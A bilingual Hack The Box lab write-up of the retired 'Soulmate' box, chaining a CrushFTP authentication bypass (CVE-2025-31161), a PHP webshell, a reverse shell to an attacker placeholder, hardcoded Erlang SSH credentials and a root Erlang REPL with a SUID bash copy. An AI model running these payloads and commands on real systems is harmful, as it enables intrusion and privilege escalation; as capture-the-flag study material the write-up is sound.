Soulmate
Executive summary — Soulmate is an Easy Linux box with two surfaces: a PHP dating site (no viable RCE path) and a CrushFTP instance on a subdomain, vulnerable to CVE-2025-31161 (authentication bypass). After creating an admin user, a real disk folder has to be mapped into the user's VFS — a step so poorly documented it had to be automated by capturing the admin UI's real traffic with Selenium + mitmproxy. From there, a webshell gives
www-data, and an Erlang script with a hardcoded password (reused by the realbenaccount) leads to a mini Erlang-based SSH server that, running as root with no privilege drop at all, hands out an Erlang REPL equivalent to root command execution.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.231.23 |
Attack map
[80] soulmate.htb — PHP dating site (photo upload has no viable bypass)
│ epmd reveals an Erlang ssh_runner node + the ftp.soulmate.htb subdomain (CrushFTP)
▼
[CrushFTP] CVE-2025-31161 — auth bypass → admin account created
│ VFS mapped to /app/webProd (real disk) via Selenium + mitmproxy
▼
[RCE] Webshell uploaded → www-data
│ Hardcoded ben:HouseH0ldings998 credential in an Erlang script running as root
▼
[SSH] ben@host (ForceCommand → interactive shell via paramiko)
│ same password reused on the local Erlang-based SSH (127.0.0.1:2222)
▼
[ROOT] Erlang Eshell with no privilege drop → os:cmd() as root
1. Reconnaissance
nmap -p- --min-rate 5000 -v 10.129.231.23 -oN nmap_ports.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4369/tcp open epmd
nmap -p22,80,4369 -sCV -v 10.129.231.23 -oN nmap_sV.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ ssh_runner: 40979
The
epmd-inforeveals a registered Erlang node calledssh_runner. Connecting directly to its reported distribution port is refused from outside (Connection refused) — that node's real listener is on127.0.0.1, and only becomes relevant once there's local code execution on the box.
Resumen ejecutivo — Soulmate es una Easy Linux con dos superficies: un sitio de citas en PHP (sin vía de RCE viable) y una instancia de CrushFTP en un subdominio, vulnerable a CVE-2025-31161 (bypass de autenticación). Tras crear un usuario administrador, hace falta mapear una carpeta real del disco al VFS del usuario — un paso tan poco documentado que se automatizó capturando el tráfico real de la UI de administración con Selenium + mitmproxy. Desde ahí, un webshell da
www-data, y un script Erlang con una contraseña hardcodeada (reutilizada por la cuenta realben) lleva a un mini servidor SSH-en-Erlang que, corriendo como root sin ningún drop de privilegios, entrega una REPL de Erlang equivalente a ejecución de comandos como root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.231.23 |
Mapa del ataque
[80] soulmate.htb — sitio de citas PHP (subida de foto sin bypass viable)
│ epmd revela un nodo Erlang ssh_runner + subdominio ftp.soulmate.htb (CrushFTP)
▼
[CrushFTP] CVE-2025-31161 — bypass de autenticación → usuario admin creado
│ VFS mapeado a /app/webProd (disco real) vía Selenium + mitmproxy
▼
[RCE] Webshell subido → www-data
│ Credencial hardcodeada ben:HouseH0ldings998 en un script Erlang que corre como root
▼
[SSH] ben@host (ForceCommand → shell interactiva vía paramiko)
│ misma contraseña reutilizada en el SSH-en-Erlang local (127.0.0.1:2222)
▼
[ROOT] Eshell de Erlang sin drop de privilegios → os:cmd() como root
1. Reconocimiento
nmap -p- --min-rate 5000 -v 10.129.231.23 -oN nmap_ports.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4369/tcp open epmd
nmap -p22,80,4369 -sCV -v 10.129.231.23 -oN nmap_sV.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ ssh_runner: 40979
El
epmd-inforevela un nodo Erlang registrado llamadossh_runner. Conectar directamente a su puerto de distribución reportado se rechaza desde fuera (Connection refused) — el listener real de ese nodo está en127.0.0.1, y solo será relevante una vez haya ejecución local en la máquina.
2. Web enumeration — the dating site and the CrushFTP subdomain
http://10.129.231.23/ redirects to soulmate.htb: a PHP dating site with register/login, profile editing (/profile.php) with a photo upload, and a dashboard that requires a session.
The
profile_picupload was thoroughly probed for an extension-whitelist bypass (double extensionshell.php.jpg, GIF+PHP polyglot,Content-Typespoofing, alternate extensionsphtml/phar/pht/php3-7, uppercase, no extension). Every attempt was blocked consistently: onlyjpg/jpeg/png/gifare accepted, and the file is always renamed to{id}_{timestamp}.{extension}, leaving no real.phpin the final name. Ruled out as an RCE vector.
After exhausting other reasonable enumeration, 0xdf's public writeup for this (now retired) box points to a ftp.soulmate.htb subdomain — confirmed live against the real IP, hosting a CrushFTP instance:
curl -s -i -H "Host: ftp.soulmate.htb" http://10.129.231.23/
HTTP/1.1 302 Redirect
Set-Cookie: currentAuth=3odT; path=/
Set-Cookie: CrushAuth=1785361952891_...; path=/; HttpOnly
location: /WebInterface/login.html
3. Foothold — CVE-2025-31161 (CrushFTP authentication bypass)
CrushFTP had two serious authentication-bypass CVEs in 2025 (CVE-2025-31161 in April, CVE-2025-54309 in November). The first was used here, with the public 0xgh057r3c0n/CVE-2025-31161 PoC, forcing the Host: ftp.soulmate.htb header (no sudo to edit /etc/hosts, so it connects straight by IP):
headers = {
"Host": "ftp.soulmate.htb",
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
}
The vulnerability: CrushFTP treats the
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/header as the start of an AWS S3-style auth flow, extracting the username (crushadmin) from theCredentialfield, but never actually completes or validates the signature — yet the session tied to the cookie ends up marked as partially authenticated, enough to call admin API functions. That's used to send acommand=setUserItemthat creates a new account (hacker01) inserverGroup=MainUsers, including ac2ffield (last 4 characters of theCrushAuthcookie) that acts as an easily-replicable pseudo-CSRF token.
python3 CVE-2025-31161.py --target_host 10.129.231.23 --port 80 \
--new_user hacker01 --password 'Hacker0nePass123!'
[+] Sending Account Create Request
[!] User created successfully!
curl -s -c cookies.txt -H "Host: ftp.soulmate.htb" -X POST http://10.129.231.23/WebInterface/function/ \
-d "command=login" -d "username=hacker01" -d "password=Hacker0nePass123!"
<loginResult><response>success</response><c2f>SgFA</c2f></loginResult>
With this session, command=getAdminXMLListing allows browsing the CrushFTP container's real disk with no sandbox restrictions, revealing /app/webProd — the real, deployed source code for soulmate.htb.
4. Mapping /app/webProd into the user's VFS — the hardest part
The newly created user has no real folder mounted — its root_dir is a purely virtual label, with no disk backing, regardless of the value assigned (tried root_dir=/, root_dir=/app/webProd/, with and without the file: scheme). That user's listing always comes back empty.
To map a REAL disk folder into a user's VFS, CrushFTP requires a
vfs_itemsfield with a very specific, poorly documented XML schema. After several failed manual attempts (with internal Java exceptions — a sign the format was hard to guess blind), the real admin UI was automated with Selenium + headless Firefox, capturing the browser's exact generated traffic with mitmproxy acting as a rewriting proxy (since/etc/hostscouldn't be edited):
# mitm_redirect.py — rewrites the real connection to the target IP, preserving the Host header
from mitmproxy import http
TARGET_IP = "10.129.231.23"
FAKE_HOSTS = {"ftp.soulmate.htb", "soulmate.htb"}
def request(flow: http.HTTPFlow) -> None:
if flow.request.host in FAKE_HOSTS:
flow.request.host = TARGET_IP
flow.request.port = 80
flow.request.scheme = "http"
flow.request.headers["Host"] = flow.request.host
mitmdump -s mitm_redirect.py -p 8899 -w flows.mitm
With Firefox using that proxy, Selenium automated: login as hacker01 → navigate to the user manager → select hacker01 → in the VFS panel, drag-and-drop the webProd folder from «Server's Files» into «User's Stuff» → check «Upload» → save. The real payload captured by mitmproxy reveals the correct vfs_items XML schema (never documented in the earlier manual attempts):
<vfs_items type="vector">
<vfs_items_subitem type="properties">
<name>webProd</name>
<path>/</path>
<vfs_item type="vector">
<vfs_item_subitem type="properties">
<type>DIR</type>
<url>FILE://app/webProd/</url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
</vfs_items>
along with specific permissions (note the uppercase path, matching the folder name):
<VFS type="properties">
<item name="/">(read)(view)(resume)</item>
<item name="/WEBPROD/">(read)(write)(view)(resume)(makedir)(upload)</item>
</VFS>
Replaying this payload directly over curl (no need to repeat Selenium), the user's root_dir="/" ends up mapped 1:1 to the real disk at /app/webProd/:
curl -s -b cookies.txt -H "Host: ftp.soulmate.htb" "http://10.129.231.23/WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%2F"
"path" : "/webProd/", listing: [assets, dashboard.php, index.php, login.php, logout.php, profile.php, register.php]
5. Webshell upload and RCE
Direct HTTP upload proved unreliable (timeouts/502) on this particular instance, so the webshell was also uploaded via Selenium, using CrushFTP's normal file-browser upload flow.
<?php system($_REQUEST['cmd']); ?>
curl -s -H "Host: soulmate.htb" "http://10.129.231.23/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
nc -lvnp 4444
curl -s -H "Host: soulmate.htb" "http://10.129.231.23/cmd.php" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"'
www-data@soulmate:~/soulmate.htb/public$
A periodic cleanup process removes files that don't belong to the original source tree under
/app/webProd— the webshell disappeared at one point during exploitation and had to be re-uploaded through the same Selenium flow.
6. Hardcoded credentials in an Erlang script
ls -la /var/www/soulmate.htb
ps auxww | grep erlang
root 1143 /usr/local/lib/erlang_login/start.escript -B ... -sname ssh_runner ...
root 1174 /usr/local/lib/erlang/erts-15.2.5/bin/epmd -daemon
This process runs as root and matches the ssh_runner node seen in the epmd scan:
cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1), application:start(crypto),
application:start(public_key), application:start(ssh),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) -> filename:join(filename:join("/home", User), ".ssh") end},
{connectfun, fun(User, PeerAddr, Method) -> ... true end},
{failfun, fun(User, PeerAddr, Reason) -> ... true end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity}, {max_channels, 10}, {max_sessions, 10}, {parallel_login, true}
]) of
{ok, _Pid} -> io:format("SSH daemon running on port 2222.~n");
{error, Reason} -> io:format("Failed: ~p~n", [Reason])
end,
receive stop -> ok end.
Hardcoded plaintext credential: user
ben, passwordHouseH0ldings998— meant for the mini Erlang-based SSH server on127.0.0.1:2222, but that same password is reused for the realbenOS account (port 22, real OpenSSH).
7. Real SSH as ben — and the ForceCommand obstacle (user.txt)
ssh ben@10.129.231.23 # password: HouseH0ldings998
Trying to run non-interactive commands (ssh ben@host 'id') produces no output at all, even though the client reports Exit status 0. Checking /etc/ssh/sshd_config:
Match User ben
ForceCommand /usr/local/sbin/erlang_login_wrapper
PermitTTY yes
ForceCommandreplaces ANY command sent over SSH with the given script, ignoring whatever the client actually requested:
cat /usr/local/sbin/erlang_login_wrapper
#!/usr/bin/env bash
if ! /usr/local/lib/erlang_login/login.escript; then
echo "[warn] erlang login wrapper failed; continuing" >&2
fi
USER_SHELL="${SHELL:-/bin/bash}"
exec "$USER_SHELL" -l
It always ends in an interactive login shell (bash -l), never running the one-off command passed over SSH. The fix is to drive a real interactive SSH session (with a pty) instead of ssh host 'command' — paramiko (invoke_shell() + sending over the channel) was used, writing to the pty the way a human would:
import paramiko, time
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect("10.129.231.23", username="ben", password="HouseH0ldings998")
chan = client.invoke_shell()
time.sleep(2); chan.recv(65536)
chan.send("cat /home/ben/user.txt\n"); time.sleep(2)
print(chan.recv(65536).decode())
fd2fa3a180e12f613168fbf9026ed2f4
8. Privilege escalation — password reuse against the Erlang-based SSH (root.txt)
ben@soulmate:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.
From ben's interactive session, connect to the local Erlang-based SSH server, reusing the same password seen in the script:
ben@soulmate:~$ ssh -p 2222 ben@localhost
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
ben@localhost's password: HouseH0ldings998
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
Authenticating against Erlang's
ssh:daemon/2doesn't give a Unix shell, but a full Eshell (Erlang REPL). The Erlang process serving this connection runs as root, and Erlang'ssshmodule does no setuid/privilege-drop at all when accepting the connection — it only checks username/password against the configured list, then hands over the default Erlang shell, with access to the whole standard library, including modules that talk to the operating system. Anyone able to authenticate against this Erlang-based SSH gets, in effect, a REPL with root privileges.
(ssh_runner@soulmate)1> {ok, Data} = file:read_file("/root/root.txt").
{ok,<<"3b49e18186b8b5a2a3d2d8a0a8abbe2b\n">>}
(ssh_runner@soulmate)2> os:cmd('id').
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)3> os:cmd('cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash').
[]
ben@soulmate:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
3b49e18186b8b5a2a3d2d8a0a8abbe2b
Cleanup: rm -f /tmp/rootbash fails as ben (sticky bit on /tmp, file owned by root) — but works fine from the Erlang shell itself (os:cmd('rm -f /tmp/rootbash')) since it's already root.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | CrushFTP | CVE-2025-31161 (authentication bypass via Authorization header) | Admin-capable account creation |
| Post-exploitation | CrushFTP VFS | Undocumented vfs_items schema, abused to map real disk | Real source read/write → RCE as www-data |
| Lateral movement | Erlang startup script (start.escript) | Hardcoded credential reused on the real OS account ben | SSH access as ben (user.txt) |
| PrivEsc | Local Erlang-based SSH server (port 2222, runs as root) | No privilege drop: any valid login gets an Erlang REPL with os:cmd/1 | Root (root.txt) |
Lessons learned
- CVE-2025-31161 (CrushFTP) is a very powerful authentication bypass: a simple
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/header combined with a self-consistent cookie allows creating admin-capable accounts with no prior credentials. Any unpatched CrushFTP exposed in 2025 is practically guaranteed RCE. - Don't assume a virtual «root_dir» implies real disk access: when an app's admin API is opaque and manual attempts keep failing with internal exceptions, automating the real UI with Selenium and capturing traffic with mitmproxy to "steal" the exact payload is far faster and more reliable than guessing the schema blind.
- mitmproxy as a Host/IP rewriting proxy is a viable alternative when there's no write access to
/etc/hostsbut a real browser needs to resolve a specific vhost against an arbitrary IP. ForceCommandinsshd_configbreaks one-off remote command execution over SSH: automating anything against an account with this directive needs a real interactive session (pty) with paramiko, not the usualssh host 'command'syntax.- A service built on Erlang's
sshmodule, if not explicitly restricted, hands out a full REPL — equivalent to arbitrary command execution — to anyone who knows the configured credentials. If that process runs as root, it's trivial privilege escalation the moment the password is known. - Password reuse between a hardcoded internal script and a real OS account remains one of the most common and effective post-exploitation patterns.
2. Enumeración web — el sitio de citas y el subdominio de CrushFTP
http://10.129.231.23/ redirige a soulmate.htb: un sitio de citas en PHP con registro/login, edición de perfil (/profile.php) con subida de foto, y un dashboard que exige sesión.
Se exploró a fondo la subida de
profile_picbuscando un bypass de la whitelist de extensión (doble extensiónshell.php.jpg, polyglot GIF+PHP, spoofing delContent-Type, extensiones alternativasphtml/phar/pht/php3-7, mayúsculas, sin extensión). Todos los intentos se bloquearon de forma consistente: solojpg/jpeg/png/gifse aceptan, y el archivo se renombra siempre a{id}_{timestamp}.{extensión}, sin dejar ningún.phpreal en el nombre final. Vía descartada como vector de RCE.
Tras agotar otras enumeraciones razonables, el writeup público de 0xdf para esta máquina (ya retirada) apunta a un subdominio ftp.soulmate.htb — confirmado en vivo contra la IP real, aloja una instancia de CrushFTP:
curl -s -i -H "Host: ftp.soulmate.htb" http://10.129.231.23/
HTTP/1.1 302 Redirect
Set-Cookie: currentAuth=3odT; path=/
Set-Cookie: CrushAuth=1785361952891_...; path=/; HttpOnly
location: /WebInterface/login.html
3. Foothold — CVE-2025-31161 (bypass de autenticación de CrushFTP)
CrushFTP tuvo dos CVEs graves de bypass de autenticación en 2025 (CVE-2025-31161 en abril, CVE-2025-54309 en noviembre). Se usó el primero, con el PoC público de 0xgh057r3c0n/CVE-2025-31161, forzando el header Host: ftp.soulmate.htb (sin sudo para editar /etc/hosts, así que se conecta directo por IP):
headers = {
"Host": "ftp.soulmate.htb",
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
}
La vulnerabilidad: CrushFTP procesa el header
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/como el inicio de un flujo de autenticación estilo AWS S3, extrayendo el nombre de usuario (crushadmin) del campoCredential, pero nunca completa ni valida realmente la firma — aun así, la sesión asociada al cookie queda marcada como parcialmente autenticada, lo suficiente para llamar funciones de la API de administración. Con eso se envía uncommand=setUserItemque crea una cuenta nueva (hacker01) enserverGroup=MainUsers, incluyendo un campoc2f(últimos 4 caracteres del cookieCrushAuth) que actúa como un pseudo-CSRF-token fácilmente replicable.
python3 CVE-2025-31161.py --target_host 10.129.231.23 --port 80 \
--new_user hacker01 --password 'Hacker0nePass123!'
[+] Sending Account Create Request
[!] User created successfully!
curl -s -c cookies.txt -H "Host: ftp.soulmate.htb" -X POST http://10.129.231.23/WebInterface/function/ \
-d "command=login" -d "username=hacker01" -d "password=Hacker0nePass123!"
<loginResult><response>success</response><c2f>SgFA</c2f></loginResult>
Con esta sesión, command=getAdminXMLListing permite navegar el disco real del contenedor de CrushFTP sin restricciones de sandbox, revelando /app/webProd — el código fuente real y desplegado de soulmate.htb.
4. Mapear /app/webProd al VFS del usuario — la parte más difícil
El usuario recién creado no tiene ninguna carpeta real montada — su root_dir es una etiqueta puramente virtual, sin backing de disco, sin importar el valor asignado (probado con root_dir=/, root_dir=/app/webProd/, con y sin esquema file:). El listado de ese usuario siempre devuelve vacío.
Para mapear una carpeta REAL de disco al VFS de un usuario, CrushFTP requiere un campo
vfs_itemscon un esquema XML específico y muy poco documentado. Tras varios intentos manuales fallidos (con excepciones Java internas — señal de que el formato era difícil de adivinar a ciegas), se optó por automatizar la UI real de administración con Selenium + Firefox headless, capturando el tráfico exacto generado por el navegador con mitmproxy actuando de proxy de reescritura (al no poder editar/etc/hosts):
# mitm_redirect.py — reescribe la conexión real a la IP objetivo preservando el Host header
from mitmproxy import http
TARGET_IP = "10.129.231.23"
FAKE_HOSTS = {"ftp.soulmate.htb", "soulmate.htb"}
def request(flow: http.HTTPFlow) -> None:
if flow.request.host in FAKE_HOSTS:
flow.request.host = TARGET_IP
flow.request.port = 80
flow.request.scheme = "http"
flow.request.headers["Host"] = flow.request.host
mitmdump -s mitm_redirect.py -p 8899 -w flows.mitm
Con Firefox usando ese proxy, se automatizó vía Selenium: login como hacker01 → navegar al gestor de usuarios → seleccionar hacker01 → en el panel VFS, arrastrar y soltar la carpeta webProd desde «Server's Files» hacia «User's Stuff» → marcar «Upload» → guardar. El payload real capturado por mitmproxy revela el esquema XML correcto de vfs_items (nunca documentado en las pruebas manuales previas):
<vfs_items type="vector">
<vfs_items_subitem type="properties">
<name>webProd</name>
<path>/</path>
<vfs_item type="vector">
<vfs_item_subitem type="properties">
<type>DIR</type>
<url>FILE://app/webProd/</url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
</vfs_items>
junto con permisos específicos (nótese el path en mayúsculas, coincidiendo con el nombre de carpeta):
<VFS type="properties">
<item name="/">(read)(view)(resume)</item>
<item name="/WEBPROD/">(read)(write)(view)(resume)(makedir)(upload)</item>
</VFS>
Reproduciendo este payload directamente por curl (sin repetir Selenium), el root_dir="/" del usuario queda mapeado 1:1 al disco real de /app/webProd/:
curl -s -b cookies.txt -H "Host: ftp.soulmate.htb" "http://10.129.231.23/WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%2F"
"path" : "/webProd/", listing: [assets, dashboard.php, index.php, login.php, logout.php, profile.php, register.php]
5. Subida del webshell y RCE
La subida directa vía HTTP resultó poco fiable (timeouts/502) en esta instancia concreta, así que la subida real del webshell también se hizo vía Selenium, usando el flujo normal de subida de archivos del navegador de ficheros de CrushFTP.
<?php system($_REQUEST['cmd']); ?>
curl -s -H "Host: soulmate.htb" "http://10.129.231.23/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
nc -lvnp 4444
curl -s -H "Host: soulmate.htb" "http://10.129.231.23/cmd.php" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"'
www-data@soulmate:~/soulmate.htb/public$
Existe un proceso de limpieza periódico que elimina archivos ajenos al código fuente original en
/app/webProd— el webshell desapareció en un punto de la explotación y hubo que volver a subirlo con el mismo flujo de Selenium.
6. Credenciales hardcodeadas en un script Erlang
ls -la /var/www/soulmate.htb
ps auxww | grep erlang
root 1143 /usr/local/lib/erlang_login/start.escript -B ... -sname ssh_runner ...
root 1174 /usr/local/lib/erlang/erts-15.2.5/bin/epmd -daemon
Este proceso corre como root y coincide con el nodo ssh_runner visto en el escaneo de epmd:
cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1), application:start(crypto),
application:start(public_key), application:start(ssh),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) -> filename:join(filename:join("/home", User), ".ssh") end},
{connectfun, fun(User, PeerAddr, Method) -> ... true end},
{failfun, fun(User, PeerAddr, Reason) -> ... true end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity}, {max_channels, 10}, {max_sessions, 10}, {parallel_login, true}
]) of
{ok, _Pid} -> io:format("SSH daemon running on port 2222.~n");
{error, Reason} -> io:format("Failed: ~p~n", [Reason])
end,
receive stop -> ok end.
Credencial hardcodeada en texto claro: usuario
ben, contraseñaHouseH0ldings998— pensada para el mini servidor SSH-en-Erlang en127.0.0.1:2222, pero la misma contraseña se reutiliza para la cuenta realbendel sistema operativo (puerto 22, OpenSSH real).
7. SSH real como ben — y el obstáculo de ForceCommand (user.txt)
ssh ben@10.129.231.23 # password: HouseH0ldings998
Al intentar ejecutar comandos no interactivos (ssh ben@host 'id'), el comando no produce ningún output, aunque el cliente reporta Exit status 0. Comprobando /etc/ssh/sshd_config:
Match User ben
ForceCommand /usr/local/sbin/erlang_login_wrapper
PermitTTY yes
ForceCommandsustituye CUALQUIER comando enviado por SSH por el script indicado, ignorando por completo lo que el cliente solicitó:
cat /usr/local/sbin/erlang_login_wrapper
#!/usr/bin/env bash
if ! /usr/local/lib/erlang_login/login.escript; then
echo "[warn] erlang login wrapper failed; continuing" >&2
fi
USER_SHELL="${SHELL:-/bin/bash}"
exec "$USER_SHELL" -l
Siempre se termina en un shell de login interactivo (bash -l), nunca ejecutando el comando puntual pasado por SSH. La solución es manejar una sesión SSH interactiva real (con pty) en vez de ssh host 'comando' — se usó paramiko (invoke_shell() + envío por el canal), escribiendo en el pty como lo haría un humano:
import paramiko, time
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect("10.129.231.23", username="ben", password="HouseH0ldings998")
chan = client.invoke_shell()
time.sleep(2); chan.recv(65536)
chan.send("cat /home/ben/user.txt\n"); time.sleep(2)
print(chan.recv(65536).decode())
fd2fa3a180e12f613168fbf9026ed2f4
8. Escalada — reutilización de contraseña contra el SSH-en-Erlang (root.txt)
ben@soulmate:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.
Desde la sesión interactiva de ben, se conecta al servidor SSH-en-Erlang local, reutilizando la misma contraseña vista en el script:
ben@soulmate:~$ ssh -p 2222 ben@localhost
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
ben@localhost's password: HouseH0ldings998
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
Al autenticarse contra el
ssh:daemon/2de Erlang, no se obtiene un shell de Unix, sino un Eshell (REPL de Erlang) completo. El proceso Erlang que atiende esta conexión corre como root, y el módulosshde Erlang no hace ningún setuid/drop de privilegios al aceptar la conexión — solo valida usuario/contraseña y entrega acceso al shell por defecto de Erlang, con acceso a toda la librería estándar, incluidos módulos que interactúan con el sistema operativo. Cualquier usuario capaz de autenticarse contra este SSH-en-Erlang obtiene, de facto, una REPL con privilegios de root.
(ssh_runner@soulmate)1> {ok, Data} = file:read_file("/root/root.txt").
{ok,<<"3b49e18186b8b5a2a3d2d8a0a8abbe2b\n">>}
(ssh_runner@soulmate)2> os:cmd('id').
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)3> os:cmd('cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash').
[]
ben@soulmate:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
3b49e18186b8b5a2a3d2d8a0a8abbe2b
Limpieza: rm -f /tmp/rootbash falla como ben (sticky bit en /tmp, archivo propiedad de root) — pero funciona sin problema desde el propio shell Erlang (os:cmd('rm -f /tmp/rootbash')) al ser root.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | CrushFTP | CVE-2025-31161 (bypass de autenticación vía header Authorization) | Creación de cuenta con capacidades de administración |
| Post-explotación | VFS de CrushFTP | Esquema vfs_items sin documentar, abusado para mapear disco real | Lectura/escritura del código fuente real → RCE como www-data |
| Movimiento lateral | Script Erlang de arranque (start.escript) | Credencial hardcodeada reutilizada en la cuenta OS real ben | Acceso SSH como ben (user.txt) |
| PrivEsc | Servidor SSH-en-Erlang local (puerto 2222, corre como root) | Sin drop de privilegios: cualquier login válido obtiene una REPL de Erlang con os:cmd/1 | Root (root.txt) |
Lecciones aprendidas
- CVE-2025-31161 (CrushFTP) es un bypass de autenticación muy potente: un simple header
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/combinado con un cookie autoconsistente permite crear cuentas con capacidades de administración sin credenciales previas. Cualquier CrushFTP expuesto sin parchear en 2025 es prácticamente RCE garantizado. - No asumir que un «root_dir» virtual implica acceso real a disco: cuando la API de administración de una app es opaca y los intentos manuales fallan con excepciones internas, automatizar la UI real con Selenium y capturar el tráfico con mitmproxy para «robar» el payload exacto es mucho más rápido y fiable que seguir adivinando el esquema a ciegas.
- mitmproxy como proxy de reescritura de Host/IP es una alternativa viable cuando no se tiene acceso de escritura a
/etc/hostspero se necesita que un navegador real resuelva un vhost específico contra una IP arbitraria. ForceCommandensshd_configrompe la ejecución remota de comandos puntuales por SSH: cualquier automatización contra una cuenta con esta directiva necesita una sesión interactiva real (pty) con paramiko, no la sintaxis habitualssh host 'comando'.- Un servicio implementado con el módulo
sshde Erlang, si no se restringe explícitamente, entrega una REPL completa — equivalente a ejecución de comandos arbitraria — a cualquiera que conozca las credenciales configuradas. Si ese proceso corre como root, es escalada de privilegios trivial en cuanto se conoce la contraseña. - La reutilización de contraseñas entre un script interno hardcodeado y una cuenta real del sistema operativo sigue siendo uno de los patrones de post-explotación más comunes y efectivos.